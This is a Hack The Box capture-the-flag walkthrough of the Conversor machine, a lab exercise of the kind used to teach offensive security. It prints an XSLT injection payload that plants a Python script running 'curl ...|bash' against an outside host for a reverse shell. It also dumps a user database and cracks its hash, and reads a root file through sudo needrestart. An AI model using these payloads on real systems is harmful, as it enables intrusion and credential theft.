Skip to content

Hack The Box | Conversor

In this walkthrough, we will be going through the Conversor box on Hack The Box.

Room Banner

Successfully Pwned Conversor

Completed and pwned this challenge on Hack The Box.

Owned

Hack The Box

Pwned

Machine Overview

The target machine Conversor exposes a web application. Exploiting the web application leads to XSLT injection, which we leverage to escalate from www-data to fismathack and finally to root via needrestart.

Enumeration

Network Enumeration

We start with a basic port scan:

bash
nmap -A -sC -sV -oN conversor.nmap 10.10.11.92

Scan Results:

bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0174263947bc6ae2cb128b71849cf85a (ECDSA)
|_  256 3a1690dc74d8e3c45136e208062617ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)

Findings:

  • SSH (22/tcp): OpenSSH 8.9p1
  • HTTP (80/tcp): Apache httpd 2.4.52, redirecting to http://conversor.htb/

Web Enumeration

Hostname Resolution

To properly resolve conversor.htb, we add an entry to /etc/hosts:

bash
echo "10.10.11.92 conversor.htb" | sudo tee -a /etc/hosts

Website Analysis

Visiting http://conversor.htb reveals a login webpage:

Conversor Login Page

After registering a new account, we can see a form to upload an XML file and an XSLT file.

Conversor Upload Form

After uploading the files, we can see the converted HTML file.

Conversor Converted HTML

Generate a XML file with nmap

bash
nmap -sC -sV -oX nmap.xml 10.10.11.92

Source Code Analysis

Looking at the about page, we can see a button to download the source code.

Conversor About Page

Downloading the source code, we can see the following file hierarchy:

Conversor Source Code Hierarchy

Looking at the INSTALL.md file, we can see the following:

md
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.

"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""

This means that any .py file in /var/www/conversor.htb/scripts/ owned by www-data will be executed every minute as the www-data user via cron.

Looking at the app.py file we can see that the application is using the lxml library to process the XML and XSLT files.

python
DB_PATH = '/var/www/conversor.htb/instance/users.db'
# ... more code ...
def convert():
    # ... more code ...
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)

    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    # ... more code ...

Inside the documentation of the lxml library we can see the following:

"By default, XSLT supports all extension functions from libxslt and libexslt as well as Python regular expressions through EXSLT. Some extensions enable style sheets to read and write files on the local file system."

Since the app.py file is not using the XSLTAccessControl class, we can create a malicious XSLT file that will generate a python script and then be triggered by the cron job.

Exploitation

XSLT Injection

From PayloadsAllTheThings we can see the following payload:

xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="evil.txt" method="text">
      Hello World!
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

Thanks to the DB_PATH variable in the app.py file, we know that the project path is /var/www/conversor.htb so we know the full path to the scripts directory is /var/www/conversor.htb/scripts/. Modify the payload to write a python script to the /var/www/conversor.htb/scripts/revshell.py file with our reverse shell payload.

xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0"
>
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/revshell.py" method="text">
import os
os.system("curl http://10.10.16.4:1337/revshell.sh|bash")
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

Initial Shell

After uploading the XSLT file, we wait for the cron job to execute our python script and receive a reverse shell:

bash
www-data@conversor:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Looking at the /etc/passwd file, we can see the fismathack user.

bash
www-data@conversor:~$ cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
fismathack:x:1000:1000:fismathack:/home/fismathack:/bin/bash

Inside the database, we can see the fismathack user and the password hash.

bash
www-data@conversor:~/conversor.htb/instance$ sqlite3 users.db
SELECT * FROM users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
# ... more users ...

Decrypting the password hash with CrackStation:

CrackStation - Password Hash

The password is Keepmesafeandwarm. We can log in to the system as the fismathack user via SSH:

bash
ssh fismathack@conversor.htb
# password: Keepmesafeandwarm
fismathack@conversor:~$ id
uid=1000(fismathack) gid=1000(fismathack) groups=1000(fismathack)

User flag

/home/fismathack/user.txt

Privilege Escalation (fismathack to root)

Checking the sudo rights of the fismathack user, we can see that the /usr/sbin/needrestart binary is listed as a NOPASSWD program.

bash
User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

What is Needrestart?

Needrestart is a Debian/Ubuntu post-upgrade utility that detects running processes using outdated libraries or a new kernel and prompts (or auto-performs) restarts.

  • How it works: scans running processes via /proc, maps loaded libraries, and compares them against recently upgraded packages to find services that should be restarted. It also detects kernel/userland mismatches after kernel upgrades.
  • When it runs: automatically after apt/dpkg upgrades, and manually via sudo /usr/sbin/needrestart.
  • Modes: interactive TUI or non-interactive. It can just list affected services, ask what to restart, or auto-restart based on policy.
  • Config files: /etc/needrestart/needrestart.conf and snippets in /etc/needrestart/conf.d/. Common options include $nrconf{mode} and $nrconf{restart} (e.g., always/list/interactive).
  • Handy commands:
    • sudo /usr/sbin/needrestart -l # list services needing restart
    • sudo /usr/sbin/needrestart -r a # auto-restart affected services
    • sudo /usr/sbin/needrestart -k # report kernel restart status
    • sudo /usr/sbin/needrestart --help

Looking at the help page of the needrestart binary, we can see that it can read config files.

bash
sudo /usr/sbin/needrestart --help

Output:

bash
# ... more options ...
    -c <cfg>        config filename
# ... more options ...

Since we are running the command with sudo privileges, we can point the -c option at /root/root.txt.

bash
sudo /usr/sbin/needrestart -c /root/root.txt

Output:

bash
Error parsing /root/root.txt: Bareword "HTB{fake_flag}" not allowed while "strict subs" in use at (eval 14) line 1.

Root flag

/root/root.txt

We are not root yet. Checking the version of needrestart, we see it is vulnerable to a known local privilege escalation (CVE-2024-48990). Using this GitHub repository we can exploit the vulnerability to gain root access. Follow the repository instructions to trigger the LPE.

References